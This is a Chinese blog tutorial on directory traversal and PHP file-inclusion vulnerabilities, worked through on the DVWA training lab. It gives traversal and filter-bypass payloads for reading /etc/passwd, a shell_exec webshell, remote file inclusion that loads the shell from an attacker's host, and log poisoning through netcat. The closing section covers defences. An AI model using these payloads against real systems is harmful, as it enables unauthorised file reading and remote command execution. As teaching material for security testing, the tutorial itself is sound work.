web 渗透 --- 目录遍历、文件包含

目录

 

1.目录遍历和文件包含漏洞

1.1特征

1.2 经典测试方法

1.3 绕过字符过滤

 2.利用DVWA进行漏洞测试

2.1low级别

2.2medium级别

2.3 high级别

2.4impossible级别

3.利用远程文件包含漏洞代码执行

4. 权限配置不当引起的本地文件包含漏洞

5.总结


1.目录遍历和文件包含漏洞

  • 应用程序操作文件,限制不严时导致访问Web目录以外的文件,包括读写文件和远程执行代码
  • 本地文件包含(LFI)
  • 远程文件包含(RFI)    php.ini  中   allow_url_include = On

 

1.1特征

特征但不绝对:

  •  ?page=a.php
     ?home=b.html
     ?file=content

1.2 经典测试方法

?file=../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

1.3 绕过字符过滤

有时候web应用会在尾部添加 “.php”,例如找不到  /etc/passwd.php 文件

1、“.”        “%00”           #绕过文件扩展名过滤,%00是null的编码,代表后面不再读取

      ?file=a.doc%00.php

2、使用多种编码尝试

3、url 编码或者进行双层甚至三层 url 编码

%2e%2e%2f                   解码     ../

%2e%2e%5c                  解码     ..\

%252e%252e%255c      解码     ..\

4、Unicode/UTF-8 解码

..%c0%af                        解码      ../

..%u2216

..%c1%9c                       解码      ..\

5、其他系统路径可能使用的字符

file.txt…

file.txt

file.txt””””

file.txt<<<>>><

./././file.txt

nonexistant/../file.txt

6、UNC路径

\1.1.1.1\path\to\file.txt

 

  • 代码

  • 攻击

  • 结果

 2.利用DVWA进行漏洞测试

2.1low级别

源代码

 <?php

    $file = $_GET['page']; //The page we wish to display 

?> 

1、可以使用 “?page=../../../../../../../etc/passwd”

2、可以使用绝对路径“?page=/etc/passwd”

3、使用系统文件路径“?page=file:///etc/passwd” (只支持绝对路径)

4、远程目录遍历 “?page=http://www.sina.com

5、 使用burpsuite进行自动化扫描

2.2medium级别

源代码:

<?php 
// The page we wish to display 
$file = $_GET[ 'page' ]; 
// Input validation 
$file = str_replace( array( "http://", "https://" ), "", $file ); 
$file = str_replace( array( "../", "..\"" ), "", $file ); 
?>

 1、过滤了"http://""https://" 可以使用二次过滤的方式进行绕过

可以利用此机制,使用两次 http:// ,将第二次插入到 http:// 中间
将 http:// 换成 htthttp://p://

2、过滤了"../", "..\" 相对路径的方式,可以使用绝对路径进绕过

2.3 high级别

源代码:

<?php 
// The page we wish to display 
$file = $_GET[ 'page' ]; 
// Input validation 
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { 
    // This isn't the page we want! 
    echo "ERROR: File not found!"; 
    exit; 
} 
?>

1、可以在file1.php的上一级目录进行突破

http://10.0.0.35/dvwa/vulnerabilities/fi/?page=file1.php../../../../../../../../../../../../../../etc/passwd

2.4impossible级别

设置白名单的方法,只允许file1.php、file2.php、file3.php和include.php

源代码:

<?php 

// The page we wish to display 
$file = $_GET[ 'page' ]; 

// Only allow include.php or file{1..3}.php 
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { 
    // This isn't the page we want! 
    echo "ERROR: File not found!"; 
    exit; 
} 

?>

3.利用远程文件包含漏洞代码执行

1、生成简单webshell

root@kali:~# echo '<?php echo shell_exec($_GET['cmd']);?>'  > /var/www/html/1.txt
root@kali:~# cat /var/www/html/1.txt
<?php echo shell_exec($_GET['cmd']);?>
root@kali:~# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.

2、http://192.168.71.133/dvwa/vulnerabilities/fi/?page=http://192.168.71.131/1.txt&cmd=pwd 多个变量用&隔开

4. 权限配置不当引起的本地文件包含漏洞

  • 修改 dvwa 的 access.log 权限,使其错误配置系统权限

    root@metasploitable:/var/log/apache2# chmod a+rx access.log
    root@metasploitable:/var/log# chmod a+rx apache2
    root@metasploitable:/var# chmod a+rx log
    root@metasploitable:/# chmod a+rx var
    
  • 使用 nc 插入代码

    root@kali:~/Desktop# nc -nv 192.168.71.133 80
    (UNKNOWN) [10.10.10.132] 80 (http) open
    <?php echo shell_exec($_GET['cmd']);?>
    
  • 查看access日志

  • 浏览器测试

    http://192.168.71.133/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log&cmd=id

5.总结

《web应用安全指南》page 197

目录遍历漏洞防御措施:

  1. 避免由外界指定文件名
  2. 文件名中不可以包含目录
  3. 限定文件名中仅包含字母与数字
  4. 指定可以访问的白名单

猜你喜欢

转载自blog.csdn.net/qq389674856/article/details/82658079